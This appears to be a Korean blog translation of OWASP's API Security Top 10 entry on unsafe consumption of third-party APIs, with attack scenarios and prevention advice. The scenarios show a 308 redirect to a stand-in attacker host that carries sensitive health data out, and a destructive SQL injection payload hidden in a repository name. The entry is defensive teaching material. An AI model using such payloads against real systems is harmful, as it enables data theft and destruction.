HOME
home
CV News
home

API Security Top 10(API10:2023 Unsafe Consumption of APIs)

DEV 속성
Security
날짜
2024/01/22

API10:2023 Unsafe Consumption of APIs

위협 요소/공격 경로
보안 취약점
영향
API 명세: 악용 용이함
확산성: 탐지 가능성->Average
기술적 심각도: 특정 비지니스
이 문제를 악용하려면 공격자가 대상 API와 통합된 다른 API/서비스를 식별하고 잠재적으로 손상시켜야 합니다. 일반적으로 이 정보는 공개적으로 제공되지 않거나 통합 API/서비스를 쉽게 이용할 수 없습니다.
개발자는 외부 또는 타사 API와 상호 작용하는 end-points을 신뢰하고 검증하지 않는 경향이 있으며, 전송 보안, 인증/인가, 입력 유효성 검사 및 검사와 같은 취약한 보안 요구 사항에 의존합니다. 공격자는 대상 API가 (데이터 소스)와 통합되는 서비스를 식별하고 결국 이를 손상시켜야 합니다.
그 영향은 대상 API가 pulled 데이터로 수행하는 작업에 따라 달라집니다. 공격이 성공하면 권한 없는 행위자에 대한 민감한 정보 노출, 여러 종류의 injections 또는 DoS가 발생할 수 있습니다.

취약한 API

개발자들은 사용자의 입력데이터보다 타사 API에서 받은 데이터를 더 신뢰하는 경향이 있습니다. 특히 유명 기업이 제공하는 API의 경우 더욱 그렇습니다. 그 때문에 개발자들은 입력 유효성 검증 및 삭제와 관련하여 더 약한 보안 표준을 채택하는 경향이 있습니다.
다음과 같은 경우 API가 취약할 수 있습니다:
암호화되지 않은 채널을 통해 다른 API와 상호 작용합니다.
다른 API에서 수집한 데이터를 처리하거나 다운스트림 구성 요소에 전달하기 전에 데이터를 적절하게 검증하고 삭제하지 않습니다.
맹목적으로 리디렉션을 따릅니다.
타사 서비스 응답을 처리하는 데 사용할 수 있는 리소스 수를 제한하지 않습니다.
타사 서비스와의 상호 작용에 대한 시간 제한을 적용하지 않습니다.

공격 시나리오

Scenario #1

API는 타사 서비스를 사용하여 사용자가 제공한 비즈니스 주소를 강화합니다. 최종 사용자가 API에 주소를 제공하면 third-party 서비스로 전송되고, 반환된 데이터는 로컬 SQL 지원 데이터베이스에 저장됩니다.
악의적인 행위자는 타사 서비스를 사용하여 자신이 만든 비즈니스와 관련된 SQLi 페이로드를 저장한 다음 third-party 서비스에서 " malicious business (악의적인 비즈니스)"를 끌어내도록 하는 특정 입력을 제공하는 취약한 API를 추적합니다. SQLi 페이로드는 결국 데이터베이스에 의해 실행되어 공격자가 제어하는 서버로 데이터가 유출됩니다.

Scenario #2

API는 third-party서비스 제공업체와 통합되어 민감한 사용자 의료 정보를 안전하게 저장합니다. 데이터는 아래와 같은 HTTP 요청을 사용하여 보안 연결을 통해 전송됩니다.
POST /user/store_phr_record { "genome": "ACTAGTAG__TTGADDAAIICCTT…" }
JavaScript
복사
악의적인 행위자들은 third-party API를 인증할 방법을 찾았고 이전과 같은 요청에 308 영구적인 리디렉션으로 응답하기 시작합니다.
HTTP/1.1 308 Permanent Redirect Location: https://attacker.com/
JavaScript
복사
API는 third-party가 리디렉션하는 것을 맹목적으로 따르기 때문에 사용자의 민감한 데이터를 포함하여 동일한 요청을 반복하지만 이번에는 공격자의 서버로 이동합니다.

Scenario #3

공격자는 '; drop db;--'라는 이름의 git 저장소를 준비할 수 있습니다.
이제 공격을 받은 애플리케이션과 공격자의 저장공간을 통합하면 저장공간의 이름이 안전한 입력이라고 믿고 SQL 쿼리를 구축하는 애플리케이션에서 SQL 인젝션 페이로드가 사용됩니다.
예방 방법
서비스 공급자를 평가할 때 API 보안 상태를 평가합니다.
모든 API 상호 작용이 보안 통신 채널(TLS)을 통해 발생하는지 확인합니다.
통합 API에서 받은 데이터를 사용하기 전에 항상 유효성을 검사하고 적절하게 조치해야 합니다.
통합 API가 귀하의 위치를 리디렉션할 수 있는 well-known locations 허용 목록을 유지하십시오. 리디렉션을 맹목적으로 따르지 마십시오.

References

OWASP

External